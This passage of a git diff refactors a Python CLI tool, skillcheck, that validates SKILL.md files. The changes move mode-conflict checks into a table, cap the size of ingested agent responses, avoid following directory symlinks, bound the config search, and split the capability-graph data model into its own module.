"--ingest-critique", + "Cannot use --emit-graph-prompt with --ingest-critique. " + "--emit-graph-prompt is an emit mode; --ingest-critique is an augment mode.", + ), + ( + "--emit-graph-prompt", "--analyze-graph", + "Cannot use --emit-graph-prompt with --analyze-graph. " + "--emit-graph-prompt is an emit mode; --analyze-graph is an augment mode.", + ), + ( + "--emit-graph-prompt", "--ingest-graph", + "Cannot use --emit-graph-prompt with --ingest-graph. " + "--emit-graph-prompt emits a prompt; --ingest-graph ingests the agent's response. " + "Use them in separate invocations.", + ), + ( + "--ingest-graph", "--emit-graph", + "Cannot use --ingest-graph with --emit-graph. " + "--emit-graph replaces the report; --ingest-graph augments it.", + ), + ( + "--ingest-graph", "--emit-critique-prompt", + "Cannot use --ingest-graph with --emit-critique-prompt. " + "--emit-critique-prompt is an emit mode; --ingest-graph is an augment mode.", + ), + ( + "--ingest-graph", "--analyze-graph", + "Cannot use --ingest-graph with --analyze-graph. " + "--ingest-graph supersedes heuristic-only graph analysis.", + ), +] + + +def _die_on_mode_conflict(args: argparse.Namespace) -> None: + """Check for mode conflicts and exit with code 2 on any conflict. + + Emit modes replace the report; augment flags add to it. Two emit modes, an + emit/augment pair from ``_PAIRWISE_CONFLICTS``, or an emit mode with history + are all rejected before any work runs. + """ + emit_modes: dict[str, bool] = { + "--emit-critique-prompt": args.emit_critique_prompt, + "--emit-graph": args.emit_graph, + "--emit-graph-prompt": args.emit_graph_prompt, + "--activation-hypotheses": args.activation_hypotheses, + } + # --agent-reason is an emit mode only when not paired with ingest flags. + if args.agent_reason and args.ingest_critique is None and args.ingest_graph is None: + emit_modes["--agent-reason"] = True + + augment_flags: dict[str, bool] = { + "--analyze-graph": args.analyze_graph, + "--ingest-critique": args.ingest_critique is not None, + "--ingest-graph": args.ingest_graph is not None, + } + + def _flag_active(flag: str) -> bool: + if flag in emit_modes: + return emit_modes[flag] + if flag in augment_flags: + return augment_flags[flag] + # Defensive: an entry referenced a flag not in either dict. The + # table is internal, so this should never happen at runtime. + raise AssertionError(f"Unknown flag in conflict table: {flag}") + + active_emits = [flag for flag, on in emit_modes.items() if on] + + # Two or more emit modes active -> pick-one conflict. Reported before + # the pairwise table so the multi-emit case has a dedicated message. + if len(active_emits) > 1: + print( + f"Cannot use {' and '.join(active_emits[:2])} together. " + f"Pick one emit mode.", + file=sys.stderr, + ) + sys.exit(2) + + for flag_a, flag_b, reason in _PAIRWISE_CONFLICTS: + if _flag_active(flag_a) and _flag_active(flag_b): + print(reason, file=sys.stderr) + sys.exit(2) + + # Emit modes + --history / --show-history incompatibility. + for emit_flag, emit_active in emit_modes.items(): + if emit_active and args.history: + print( + f"Cannot use --history with {emit_flag}. " + f"--history records validation runs; emit modes skip validation.", + file=sys.stderr, + ) + sys.exit(2) + if emit_active and args.show_history: + print( + f"Cannot use --show-history with {emit_flag}. " + f"--show-history reads the ledger; {emit_flag} emits a prompt.", + file=sys.stderr, + ) + sys.exit(2) + + # --------------------------------------------------------------------------- # Entry point # --------------------------------------------------------------------------- @@ -375,127 +504,7 @@ def main() -> None: if args.semantic and args.ingest_graph is None: args.analyze_graph = True - # ----------------------------------------------------------------------- - # Mode conflict resolution - # - # Conflicts are declared as a table: each entry pairs two CLI flags with a - # one-line reason. _die_on_mode_conflict walks the table once, reports the - # first conflicting pair, and exits 2. The exit messages are identical to - # the prior hand-written branches; the refactor is behavior-preserving. - # ----------------------------------------------------------------------- - - _EMIT_MODES: dict[str, bool] = { - "--emit-critique-prompt": args.emit_critique_prompt, - "--emit-graph": args.emit_graph, - "--emit-graph-prompt": args.emit_graph_prompt, - "--activation-hypotheses": args.activation_hypotheses, - } - # --agent-reason is an emit mode only when not paired with ingest flags. - if args.agent_reason and args.ingest_critique is None and args.ingest_graph is None: - _EMIT_MODES["--agent-reason"] = True - - _AUGMENT_FLAGS: dict[str, bool] = { - "--analyze-graph": args.analyze_graph, - "--ingest-critique": args.ingest_critique is not None, - "--ingest-graph": args.ingest_graph is not None, - } - - _PAIRWISE_CONFLICTS: list[tuple[str, str, str]] = [ - ( - "--emit-critique-prompt", "--ingest-critique", - "Cannot use --emit-critique-prompt and --ingest-critique together. " - "Pick one: emit a prompt for your agent to execute, or ingest the agent's response.", - ), - ( - "--emit-graph", "--analyze-graph", - "Cannot use --emit-graph with --analyze-graph. " - "--emit-graph is an emit mode (replaces the report). " - "--analyze-graph is an augment mode (adds to the report).", - ), - ( - "--emit-graph", "--ingest-critique", - "Cannot use --emit-graph with --ingest-critique. " - "--emit-graph replaces the report; --ingest-critique augments it.", - ), - ( - "--emit-graph-prompt", "--ingest-critique", - "Cannot use --emit-graph-prompt with --ingest-critique. " - "--emit-graph-prompt is an emit mode; --ingest-critique is an augment mode.", - ), - ( - "--emit-graph-prompt", "--analyze-graph", - "Cannot use --emit-graph-prompt with --analyze-graph. " - "--emit-graph-prompt is an emit mode; --analyze-graph is an augment mode.", - ), - ( - "--emit-graph-prompt", "--ingest-graph", - "Cannot use --emit-graph-prompt with --ingest-graph. " - "--emit-graph-prompt emits a prompt; --ingest-graph ingests the agent's response. " - "Use them in separate invocations.", - ), - ( - "--ingest-graph", "--emit-graph", - "Cannot use --ingest-graph with --emit-graph. " - "--emit-graph replaces the report; --ingest-graph augments it.", - ), - ( - "--ingest-graph", "--emit-critique-prompt", - "Cannot use --ingest-graph with --emit-critique-prompt. " - "--emit-critique-prompt is an emit mode; --ingest-graph is an augment mode.", - ), - ( - "--ingest-graph", "--analyze-graph", - "Cannot use --ingest-graph with --analyze-graph. " - "--ingest-graph supersedes heuristic-only graph analysis.", - ), - ] - - def _flag_active(flag: str) -> bool: - if flag in _EMIT_MODES: - return _EMIT_MODES[flag] - if flag in _AUGMENT_FLAGS: - return _AUGMENT_FLAGS[flag] - # Defensive: an entry referenced a flag not in either dict. The - # table is internal, so this should never happen at runtime. - raise AssertionError(f"Unknown flag in conflict table: {flag}") - - def _die_on_mode_conflict() -> None: - """Check for mode conflicts and exit with code 2 on any conflict.""" - active_emits = [flag for flag, on in _EMIT_MODES.items() if on] - - # Two or more emit modes active -> pick-one conflict. Reported before - # the pairwise table so the multi-emit case has a dedicated message. - if len(active_emits) > 1: - print( - f"Cannot use {' and '.join(active_emits[:2])} together. " - f"Pick one emit mode.", - file=sys.stderr, - ) - sys.exit(2) - - for flag_a, flag_b, reason in _PAIRWISE_CONFLICTS: - if _flag_active(flag_a) and _flag_active(flag_b): - print(reason, file=sys.stderr) - sys.exit(2) - - # Emit modes + --history / --show-history incompatibility. - for emit_flag, emit_active in _EMIT_MODES.items(): - if emit_active and args.history: - print( - f"Cannot use --history with {emit_flag}. " - f"--history records validation runs; emit modes skip validation.", - file=sys.stderr, - ) - sys.exit(2) - if emit_active and args.show_history: - print( - f"Cannot use --show-history with {emit_flag}. " - f"--show-history reads the ledger; {emit_flag} emits a prompt.", - file=sys.stderr, - ) - sys.exit(2) - - _die_on_mode_conflict() + _die_on_mode_conflict(args) if args.show_history and args.history: print( diff --git a/src/skillcheck/commands.py b/src/skillcheck/commands.py index f823508..f6b7b56 100644 --- a/src/skillcheck/commands.py +++ b/src/skillcheck/commands.py @@ -11,12 +11,14 @@ import argparse import json +import os import sys from pathlib import Path from typing import Any from skillcheck import __version__ from skillcheck.agents import get_graph_prompt +from skillcheck.agents._ingest import MAX_INGEST_BYTES from skillcheck.agents.graph_parser import GraphParseError from skillcheck.agents.parser import CritiqueParseError from skillcheck.core import ( @@ -32,7 +34,6 @@ ingest_critique_response, ledger_path_for, load_ledger, - merge_critique_diagnostics, merge_diagnostics, render_activation_json, render_activation_markdown, @@ -53,8 +54,9 @@ _format_markdown, _format_text, ) +from skillcheck.parser import ParsedSkill, ParseError from skillcheck.parser import parse as _parse_skill -from skillcheck.result import Diagnostic, Severity +from skillcheck.result import Diagnostic, Severity, ValidationResult # Delimiter used between prompts when emitting for multiple skills. _PROMPT_DELIMITER = "# === skillcheck:critique-prompt:{path} ===" @@ -76,10 +78,19 @@ def collect_paths(target: Path) -> list[Path]: For a directory, recursively finds all files named exactly 'SKILL.md'. For a file, returns it directly without name filtering. + + Uses ``os.walk(followlinks=False)`` so directory symlinks are not traversed: + a symlink into another tree cannot pull in foreign files, and a symlink cycle + cannot hang the scan. ``Path.rglob`` follows directory symlinks on some Python + versions, which this avoids. """ - if target.is_dir(): - return sorted(target.rglob("SKILL.md")) - return [target] + if not target.is_dir(): + return [target] + found: list[Path] = [] + for dirpath, _dirnames, filenames in os.walk(target, followlinks=False): + if "SKILL.md" in filenames: + found.append(Path(dirpath) / "SKILL.md") + return sorted(found) def resolve_paths(args: argparse.Namespace) -> list[Path]: @@ -98,20 +109,56 @@ def resolve_paths(args: argparse.Namespace) -> list[Path]: def read_ingest_raw(ingest_path: str) -> str: - """Read the raw critique response from PATH or stdin, exiting on error.""" + """Read the raw critique response from PATH or stdin, exiting on error. + + Rejects payloads over ``MAX_INGEST_BYTES`` (exit 2). The stdin read is + bounded so a runaway pipe cannot exhaust memory before the check fires. + """ if ingest_path == "-": - return sys.stdin.read() + raw = sys.stdin.read(MAX_INGEST_BYTES + 1) + size = len(raw.encode("utf-8")) + if size > MAX_INGEST_BYTES: + print( + f"Error: ingest payload from stdin exceeds the {MAX_INGEST_BYTES}-byte cap. " + f"Trim the response or split the run into smaller batches.", + file=sys.stderr, + ) + sys.exit(2) + return raw p = Path(ingest_path) if not p.exists(): print(f"Error: critique response file not found: {p}", file=sys.stderr) sys.exit(2) + size = p.stat().st_size + if size > MAX_INGEST_BYTES: + print( + f"Error: ingest response {p} is {size} bytes, over the {MAX_INGEST_BYTES}-byte cap. " + f"Trim the response or split the run into smaller batches.", + file=sys.stderr, + ) + sys.exit(2) try: return p.read_text(encoding="utf-8") - except OSError as exc: + except (OSError, UnicodeDecodeError) as exc: print(f"Error: cannot read {p}: {exc}", file=sys.stderr) sys.exit(2) +def _parse_or_exit(path: Path) -> ParsedSkill: + """Parse a skill for an emit or history mode, or exit cleanly on failure. + + Plain validation renders an unparseable file (non-UTF-8, non-mapping + frontmatter) as a clean ``parse.error`` diagnostic. The emit and history + modes bypass that pipeline, so they mirror the behavior here: print the + ParseError message to stderr and exit 1 instead of surfacing a traceback. + """ + try: + return _parse_skill(path) + except ParseError as exc: + print(f"Error: {exc}", file=sys.stderr) + sys.exit(1) + + # --------------------------------------------------------------------------- # Emit modes # --------------------------------------------------------------------------- @@ -121,7 +168,7 @@ def emit_graph(paths: list[Path], fmt: str) -> None: """Print the capability graph for each path and exit 0.""" multiple = len(paths) > 1 for path in paths: - skill = _parse_skill(path) + skill = _parse_or_exit(path) graph = extract_graph_heuristic(skill) if multiple: print(_GRAPH_DELIMITER.format(path=path)) @@ -135,7 +182,7 @@ def emit_critique_prompts(paths: list[Path], fmt: str, agent_id: str = "claude") """Print critique prompts to stdout and exit 0.""" multiple = len(paths) > 1 for path in paths: - skill = _parse_skill(path) + skill = _parse_or_exit(path) prompt = render_critique_prompt(skill, agent_id=agent_id) if multiple: print(_PROMPT_DELIMITER.format(path=path)) @@ -155,7 +202,7 @@ def emit_graph_prompts(paths: list[Path], fmt: str, agent_id: str = "claude") -> """Print graph-extraction prompts to stdout and exit 0.""" multiple = len(paths) > 1 for path in paths: - skill = _parse_skill(path) + skill = _parse_or_exit(path) prompt = get_graph_prompt(agent_id).render(skill) if multiple: print(_GRAPH_PROMPT_DELIMITER.format(path=path)) @@ -175,7 +222,7 @@ def emit_agent_reason_packet(paths: list[Path], fmt: str, critique_agent: str, g """Print a combined critique and graph prompt packet for in-agent execution.""" packets: list[dict[str, str]] = [] for path in paths: - skill = _parse_skill(path) + skill = _parse_or_exit(path) packets.append({ "path": str(path), "critique_prompt": render_critique_prompt(skill, agent_id=critique_agent), @@ -214,7 +261,7 @@ def emit_agent_reason_packet(paths: list[Path], fmt: str, critique_agent: str, g def emit_activation(paths: list[Path], fmt: str) -> None: """Print activation hypotheses for each path and exit 0.""" multiple = len(paths) > 1 - reports = [generate_activation_hypotheses(_parse_skill(path)) for path in paths] + reports = [generate_activation_hypotheses(_parse_or_exit(path)) for path in paths] if fmt == "json": if multiple: payload = [json.loads(render_activation_json(report)) for report in reports] @@ -281,6 +328,190 @@ def run_show_history(args: argparse.Namespace, paths: list[Path]) -> None: # --------------------------------------------------------------------------- +def _compute_exit_code( + results: list[ValidationResult], + *, + symbolic_errors_before_ingest: bool, + any_ingest_failed: bool, + strict_all: bool, +) -> int: + """Return the process exit code from the merged results. + + Priority: symbolic/ingest failure (1) beats a semantic-only contradiction (3); + a remaining error (e.g. an agent-graph contradiction) is 1; a warning-only run + is 0 unless ``--strict`` escalates it to 1; otherwise 0. + """ + if symbolic_errors_before_ingest or any_ingest_failed: + return 1 + if any( + d.severity == Severity.ERROR + for r in results + for d in r.diagnostics + if d.rule.startswith("semantic.") + ): + # Symbolic passed, all parses succeeded, but a critique ingest added a + # semantic-namespace contradiction (semantic.*). + return 3 + if any(not r.valid for r in results): + # Any remaining errors (e.g. graph.contradiction from agent ingest). + return 1 + if any(d.severity == Severity.WARNING for r in results for d in r.diagnostics): + # Warning-only runs are a clean pass by default; --strict escalates + # them to exit 1. Exit 2 stays reserved for tool-misuse / input errors. + return 1 if strict_all else 0 + return 0 + + +def _record_history( + args: argparse.Namespace, + paths: list[Path], + results: list[ValidationResult], + agent_id: str, + graph_agent_id: str, + final_exit_code: int, +) -> int: + """Append a ledger entry per target and merge any regression diagnostics. + + Mutates ``results`` in place (regression/write-failure diagnostics are + appended per target). Each SKILL.md has its own per-skill ledger next to it. + Returns the exit code, escalated to 1 the first time a target regresses when + ``--fail-on-regression`` is set. + """ + modes = ValidationModes( + symbolic=True, + critique=args.ingest_critique is not None, + graph=args.ingest_graph is not None or args.analyze_graph, + ) + run_agents = RunAgents( + critique_agent=agent_id if args.ingest_critique is not None else None, + graph_agent=graph_agent_id if args.ingest_graph is not None else None, + ) + for index, path in enumerate(paths): + skill_for_history = _parse_or_exit(path) + preliminary_entry = build_entry( + skill_for_history, + results[index], + modes, + run_agents, + final_exit_code, + __version__, + ) + lp = ledger_path_for(path) + try: + prior_ledger = load_ledger(lp) + prior_runs = prior_ledger.runs if prior_ledger is not None else () + regression_diags = check_regression(prior_runs, preliminary_entry) + except LedgerError as exc: + regression_diags = [ + Diagnostic( + rule="history.read.failed", + severity=Severity.WARNING, + message=f"Could not read history ledger: {exc}", + ) + ] + if regression_diags: + results[index] = merge_diagnostics(results[index], regression_diags) + # Regression is WARNING by default; does not change the exit code. + # --fail-on-regression promotes it to exit 1 the first time any + # target regresses, and that escalated code is what subsequent + # ledger entries (and the global exit) record. + if args.fail_on_regression and any( + d.rule == "history.skill.regressed" for d in regression_diags + ): + final_exit_code = 1 + + # Build final entry with all diagnostics included (regression if any). + final_entry = build_entry( + skill_for_history, + results[index], + modes, + run_agents, + final_exit_code, + __version__, + ) + try: + append_run(lp, skill_for_history, final_entry) + except LedgerError as exc: + results[index] = merge_diagnostics(results[index], [ + Diagnostic( + rule="history.write.failed", + severity=Severity.WARNING, + message=f"Could not write history ledger to {lp}: {exc}", + ) + ]) + # Write failure is a warning; validation exit code stands. + return final_exit_code + + +def _print_report( + args: argparse.Namespace, + results: list[ValidationResult], + *, + critique_source: str | None, + graph_source_json: dict[str, Any] | None, + graph_source_text: str | None, +) -> None: + """Print the report in the requested format (no-op under --quiet).""" + # Compute description quality score breakdowns when relevant. + score_breakdowns: dict[str, dict[str, int]] = {} + has_quality_diag = any( + d.rule == "description.quality-score" + for r in results + for d in r.diagnostics + ) + if has_quality_diag: + from skillcheck.rules.description import score_description as _score + from skillcheck.template_detection import is_template + for r in results: + for d in r.diagnostics: + if d.rule == "description.quality-score": + try: + skill = _parse_skill(r.path) + desc = skill.frontmatter.get("description") + if desc and isinstance(desc, str) and desc.strip() and not is_template(skill): + _, _, bd = _score(desc) + score_breakdowns[str(r.path)] = bd + except Exception: + pass + break # one description per file + + if args.quiet: + return + + if args.format == "json": + print(_format_json( + results, + __version__, + critique_source=critique_source, + graph_source=graph_source_json, + score_breakdowns=score_breakdowns or None, + )) + elif args.format == "md": + print(_format_markdown( + results, + critique_source=critique_source, + graph_source=graph_source_text, + )) + elif args.format == "agent": + print(_format_agent( + results, + critique_source=critique_source, + graph_source=graph_source_text, + )) + elif args.format == "github": + print(_format_github(results)) + else: + use_color = not args.no_color and sys.stdout.isatty() + print(_format_text( + results, + color=use_color, + critique_source=critique_source, + graph_source=graph_source_text, + score_breakdowns=score_breakdowns or None, + explain_score=args.explain_score, + )) + + def run_validation( args: argparse.Namespace, paths: list[Path], @@ -289,6 +520,28 @@ def run_validation( ) -> None: """Run symbolic validation, merge any ingested diagnostics, record history, print the report, and exit with the computed code.""" + # An ingested agent response describes exactly one skill, so it cannot be + # fanned out across multiple resolved paths without stamping the first + # skill's diagnostics onto every file. Reject the combination up front. + if len(paths) > 1: + active_ingest_flags = [ + flag + for flag, value in ( + ("--ingest-critique", args.ingest_critique), + ("--ingest-graph", args.ingest_graph), + ) + if value is not None + ] + if active_ingest_flags: + flags = " and ".join(active_ingest_flags) + print( + f"Error: {flags} applies one agent response to one skill, but " + f"{len(paths)} SKILL.md paths were resolved. Run it once per skill, " + f"pointing at a single SKILL.md.", + file=sys.stderr, + ) + sys.exit(2) + # Run symbolic validation (always, including when ingesting) results = [ validate( @@ -320,7 +573,7 @@ def run_validation( raw = read_ingest_raw(args.ingest_critique) try: - first_skill = _parse_skill(paths[0]) + first_skill = _parse_or_exit(paths[0]) critique_diags = ingest_critique_response(first_skill, raw) except CritiqueParseError as exc: critique_diags = [ @@ -332,14 +585,14 @@ def run_validation( ] any_ingest_failed = True - results = [merge_critique_diagnostics(r, critique_diags) for r in results] + results = [merge_diagnostics(r, critique_diags) for r in results] critique_source = agent_id if args.ingest_graph is not None: raw_graph = read_ingest_raw(args.ingest_graph) try: - first_skill = _parse_skill(paths[0]) + first_skill = _parse_or_exit(paths[0]) agent_graph = extract_graph_agent(first_skill, raw_graph) heuristic_graph = extract_graph_heuristic(first_skill) agent_graph_diags = run_graph_analyzers(agent_graph) @@ -362,168 +615,34 @@ def run_validation( elif args.analyze_graph: for i, (path, result) in enumerate(zip(paths, results, strict=True)): - skill = _parse_skill(path) + skill = _parse_or_exit(path) graph = extract_graph_heuristic(skill) graph_diags = run_graph_analyzers(graph) results[i] = merge_diagnostics(result, graph_diags) graph_source_text = "heuristic" graph_source_json = {"mode": "heuristic"} - # Determine exit code based on current results (before history processing). - # Exit 1: symbolic rules failed before any ingest, or an ingest parse failed. - if symbolic_errors_before_ingest or any_ingest_failed: - final_exit_code = 1 - elif any( - d.severity == Severity.ERROR - for r in results - for d in r.diagnostics - if d.rule.startswith("semantic.") - ): - # Exit 3: symbolic passed, all parses succeeded, but a critique ingest added a - # semantic-namespace contradiction (semantic.*). - final_exit_code = 3 - elif any(not r.valid for r in results): - # Exit 1: any remaining errors (e.g. graph.contradiction from agent ingest). - final_exit_code = 1 - elif any( - d.severity == Severity.WARNING - for r in results - for d in r.diagnostics - ): - # Warning-only runs are a clean pass by default; --strict - # escalates them to exit 1 for stricter CI gates. Exit 2 stays - # reserved for tool-misuse / input errors so CI can distinguish them. - final_exit_code = 1 if args.strict_all else 0 - else: - final_exit_code = 0 - - # --history: for each target, run a regression check against prior runs in - # that target's own ledger and append the ledger entry. Each SKILL.md has - # its own per-skill .skillcheck-history.json next to it (see - # ledger_path_for), so the per-file loop writes one ledger per target. This - # must happen BEFORE the final print so regression diagnostics appear in - # output. --fail-on-regression escalates when any target regressed. + # Determine exit code from current results (before history processing). + final_exit_code = _compute_exit_code( + results, + symbolic_errors_before_ingest=symbolic_errors_before_ingest, + any_ingest_failed=any_ingest_failed, + strict_all=args.strict_all, + ) + + # --history runs before the final print so regression/write-fail diagnostics + # appear in the report, and it may escalate the exit code. if args.history: - modes = ValidationModes( - symbolic=True, - critique=args.ingest_critique is not None, - graph=args.ingest_graph is not None or args.analyze_graph, - ) - run_agents = RunAgents( - critique_agent=agent_id if args.ingest_critique is not None else None, - graph_agent=graph_agent_id if args.ingest_graph is not None else None, + final_exit_code = _record_history( + args, paths, results, agent_id, graph_agent_id, final_exit_code ) - for index, path in enumerate(paths): - skill_for_history = _parse_skill(path) - preliminary_entry = build_entry( - skill_for_history, - results[index], - modes, - run_agents, - final_exit_code, - __version__, - ) - lp = ledger_path_for(path) - try: - prior_ledger = load_ledger(lp) - prior_runs = prior_ledger.runs if prior_ledger is not None else () - regression_diags = check_regression(prior_runs, preliminary_entry) - except LedgerError as exc: - regression_diags = [ - Diagnostic( - rule="history.read.failed", - severity=Severity.WARNING, - message=f"Could not read history ledger: {exc}", - ) - ] - if regression_diags: - results[index] = merge_diagnostics(results[index], regression_diags) - # Regression is WARNING by default; does not change the exit - # code. --fail-on-regression promotes it to exit 1 the first - # time any target regresses, and that escalated code is what - # subsequent ledger entries (and the global exit) record. - if args.fail_on_regression and any( - d.rule == "history.skill.regressed" for d in regression_diags - ): - final_exit_code = 1 - - # Build final entry with all diagnostics included (regression if any). - final_entry = build_entry( - skill_for_history, - results[index], - modes, - run_agents, - final_exit_code, - __version__, - ) - try: - append_run(lp, skill_for_history, final_entry) - except LedgerError as exc: - results[index] = merge_diagnostics(results[index], [ - Diagnostic( - rule="history.write.failed", - severity=Severity.WARNING, - message=f"Could not write history ledger to {lp}: {exc}", - ) - ]) - # Write failure is a warning; validation exit code stands. - # Compute description quality score breakdowns when relevant. - score_breakdowns: dict[str, dict[str, int]] = {} - has_quality_diag = any( - d.rule == "description.quality-score" - for r in results - for d in r.diagnostics + _print_report( + args, + results, + critique_source=critique_source, + graph_source_json=graph_source_json, + graph_source_text=graph_source_text, ) - if has_quality_diag: - from skillcheck.rules.description import score_description as _score - from skillcheck.template_detection import is_template - for r in results: - for d in r.diagnostics: - if d.rule == "description.quality-score": - try: - skill = _parse_skill(r.path) - desc = skill.frontmatter.get("description") - if desc and isinstance(desc, str) and desc.strip() and not is_template(skill): - _, _, bd = _score(desc) - score_breakdowns[str(r.path)] = bd - except Exception: - pass - break # one description per file - - # Print report (after history processing so regression/write-fail diagnostics appear). - if not args.quiet: - if args.format == "json": - print(_format_json( - results, - __version__, - critique_source=critique_source, - graph_source=graph_source_json, - score_breakdowns=score_breakdowns or None, - )) - elif args.format == "md": - print(_format_markdown( - results, - critique_source=critique_source, - graph_source=graph_source_text, - )) - elif args.format == "agent": - print(_format_agent( - results, - critique_source=critique_source, - graph_source=graph_source_text, - )) - elif args.format == "github": - print(_format_github(results)) - else: - use_color = not args.no_color and sys.stdout.isatty() - print(_format_text( - results, - color=use_color, - critique_source=critique_source, - graph_source=graph_source_text, - score_breakdowns=score_breakdowns or None, - explain_score=args.explain_score, - )) sys.exit(final_exit_code) diff --git a/src/skillcheck/config_loader.py b/src/skillcheck/config_loader.py index 173029f..64022c4 100644 --- a/src/skillcheck/config_loader.py +++ b/src/skillcheck/config_loader.py @@ -82,20 +82,48 @@ class ConfigError(Exception): def find_config(start: Path) -> Path | None: """Find skillcheck.toml from a path or one of its parents. + The upward walk stops at a repository root (a directory containing ``.git``) + or the user's home directory, whichever is reached first. This keeps the + search from escaping the project into a parent or a system directory and + picking up an unrelated config. + Args: start: File or directory path used as the search anchor. Returns: Path to skillcheck.toml, or None when not found. """ + try: + home = Path.home() + except RuntimeError: + home = None current = start if start.is_dir() else start.parent for directory in (current, *current.parents): candidate = directory / "skillcheck.toml" if candidate.exists(): return candidate + # Do not ascend past a repo root or the user's home directory. + if (directory / ".git").exists() or directory == home: + break return None +def _strip_inline_comment(line: str) -> str: + """Drop a ``#`` comment from a TOML line, ignoring ``#`` inside a quoted value. + + The fallback parser only handles double-quoted basic strings, so tracking a + single quote state is enough: a ``#`` outside quotes starts a comment; one + inside quotes (e.g. ``format = "a#b"``) is part of the value. + """ + in_quotes = False + for index, char in enumerate(line): + if char == '"': + in_quotes = not in_quotes + elif char == "#" and not in_quotes: + return line[:index] + return line + + def _parse_without_tomllib(raw: str) -> dict[str, Any]: """Parse a minimal TOML subset for Python 3.10 fallback. @@ -106,7 +134,7 @@ def _parse_without_tomllib(raw: str) -> dict[str, Any]: parsed: dict[str, Any] = {} current = parsed for line_no, raw_line in enumerate(raw.splitlines(), start=1): - line = raw_line.split("#", 1)[0].strip() + line = _strip_inline_comment(raw_line).strip() if not line: continue if line.startswith("["): @@ -199,15 +227,15 @@ def load_config(path: Path | None) -> SkillcheckConfig: raise ConfigError(f"Unknown config key '{raw_key}' in {path}; remove it or use a supported skillcheck option.") if field in _INT_FIELDS: if not isinstance(value, int) or isinstance(value, bool): - raise ConfigError(f"Config key '{raw_key}' must be an integer.") + raise ConfigError(f"Config key '{raw_key}' must be an integer (got {value!r}).") values[field] = value elif field in _BOOL_FIELDS: if not isinstance(value, bool): - raise ConfigError(f"Config key '{raw_key}' must be true or false.") + raise ConfigError(f"Config key '{raw_key}' must be true or false (got {value!r}).") values[field] = value elif field in _STR_FIELDS: if not isinstance(value, str): - raise ConfigError(f"Config key '{raw_key}' must be a string.") + raise ConfigError(f"Config key '{raw_key}' must be a string (got {value!r}).") values[field] = value elif field == "ignore": if not isinstance(value, list) or not all(isinstance(item, str) for item in value): diff --git a/src/skillcheck/core/__init__.py b/src/skillcheck/core/__init__.py index 7341b13..7539eac 100644 --- a/src/skillcheck/core/__init__.py +++ b/src/skillcheck/core/__init__.py @@ -7,7 +7,6 @@ graph_analyzers, graph_render, history, - reporter, semantic, symbolic, ) @@ -48,7 +47,6 @@ ) from .semantic import ( ingest_critique_response, - merge_critique_diagnostics, merge_diagnostics, render_critique_prompt, ) @@ -64,7 +62,6 @@ "render_activation_json", "render_critique_prompt", "ingest_critique_response", - "merge_critique_diagnostics", "merge_diagnostics", "extract_backtick_refs", "extract_graph_heuristic", @@ -101,5 +98,4 @@ "graph_analyzers", "graph_render", "history", - "reporter", ] diff --git a/src/skillcheck/core/graph.py b/src/skillcheck/core/graph.py index 71824af..0bedd1c 100644 --- a/src/skillcheck/core/graph.py +++ b/src/skillcheck/core/graph.py @@ -9,11 +9,33 @@ import hashlib import re -from dataclasses import dataclass from typing import Literal +from skillcheck.core.graph_model import ( + Capability, + CapabilityGraph, + Edge, + Input, + Output, +) from skillcheck.parser import ParsedSkill +# Re-exported so ``from skillcheck.core.graph import CapabilityGraph`` (and the +# other model names) keeps working now that the model lives in graph_model.py. +__all__ = [ + "Capability", + "CapabilityGraph", + "Edge", + "Input", + "Output", + "IMPERATIVE_VERBS", + "INPUT_SECTION_ALIASES", + "OUTPUT_SECTION_ALIASES", + "extract_backtick_refs", + "extract_graph_agent", + "extract_graph_heuristic", +] + # --------------------------------------------------------------------------- # Classification constants (module-level, frozen tuples, sorted alphabetically) # --------------------------------------------------------------------------- @@ -90,109 +112,6 @@ "returns", ) -# --------------------------------------------------------------------------- -# Data model -# --------------------------------------------------------------------------- - - -@dataclass(frozen=True) -class Capability: - """A declared capability: something the skill can do.""" - - id: str - name: str - description: str - line: int | None - - -@dataclass(frozen=True) -class Input: - """An input consumed by one or more capabilities.""" - - id: str - name: str - kind: Literal["file", "tool", "env", "context", "prerequisite"] - line: int | None - - -@dataclass(frozen=True) -class Output: - """An output produced by one or more capabilities.""" - - id: str - name: str - kind: Literal["file", "artifact", "side_effect", "return"] - line: int | None - - -@dataclass(frozen=True) -class Edge: - """Directed relationship between a capability and an input or output.""" - - source_id: str - target_id: str - kind: Literal["requires", "produces"] - - -@dataclass(frozen=True) -class CapabilityGraph: - """Complete capability graph for a single ParsedSkill. - - All fields are tuples to preserve hashability of the frozen dataclass. - Constructed graphs are validated in __post_init__. - """ - - capabilities: tuple[Capability, ...] - inputs: tuple[Input, ...] - outputs: tuple[Output, ...] - edges: tuple[Edge, ...] - source: Literal["heuristic", "agent"] - - def __post_init__(self) -> None: - capability_ids = {c.id for c in self.capabilities} - input_ids = {i.id for i in self.inputs} - output_ids = {o.id for o in self.outputs} - - # Duplicate ID check across all node collections. - all_ids: list[str] = ( - [c.id for c in self.capabilities] - + [i.id for i in self.inputs] - + [o.id for o in self.outputs] - ) - seen: set[str] = set() - for nid in all_ids: - if nid in seen: - raise ValueError( - f"Duplicate node ID '{nid}' appears in multiple " - f"capability graph collections." - ) - seen.add(nid) - - # Edge referential integrity. - for edge in self.edges: - if edge.source_id not in capability_ids: - raise ValueError( - f"Edge source_id '{edge.source_id}' does not reference a known capability " - f"(edge: {edge.source_id!r} -[{edge.kind}]-> {edge.target_id!r})." - ) - if edge.kind == "requires": - if edge.target_id not in input_ids: - misrouted = "an output" if edge.target_id in output_ids else "unknown" - raise ValueError( - f"Edge kind='requires' has target_id '{edge.target_id}' which is not an " - f"input ID ({misrouted}). " - f"Edge: {edge.source_id!r} -[requires]-> {edge.target_id!r}." - ) - elif edge.kind == "produces": - if edge.target_id not in output_ids: - misrouted = "an input" if edge.target_id in input_ids else "unknown" - raise ValueError( - f"Edge kind='produces' has target_id '{edge.target_id}' which is not an " - f"output ID ({misrouted}). " - f"Edge: {edge.source_id!r} -[produces]-> {edge.target_id!r}." - ) - - # --------------------------------------------------------------------------- # ID generation: content-derived, deterministic, stable across runs # --------------------------------------------------------------------------- @@ -408,13 +327,16 @@ def extract_graph_heuristic(skill: ParsedSkill) -> CapabilityGraph: outputs: list[Output] = [] capabilities: list[Capability] = [] - # Step 1: frontmatter-derived tool inputs. + # Step 1: frontmatter-derived tool inputs. Tool IDs are content-hashed on + # the name alone, so a repeated tool (allowed-tools: [Bash, Bash]) would + # mint two nodes with the same ID and trip the duplicate-ID check. Dedupe + # by name first, preserving order. allowed_tools = skill.frontmatter.get("allowed-tools", []) if isinstance(allowed_tools, list): - for tool_name in allowed_tools: - if isinstance(tool_name, str) and tool_name: - iid = _make_id("tool", 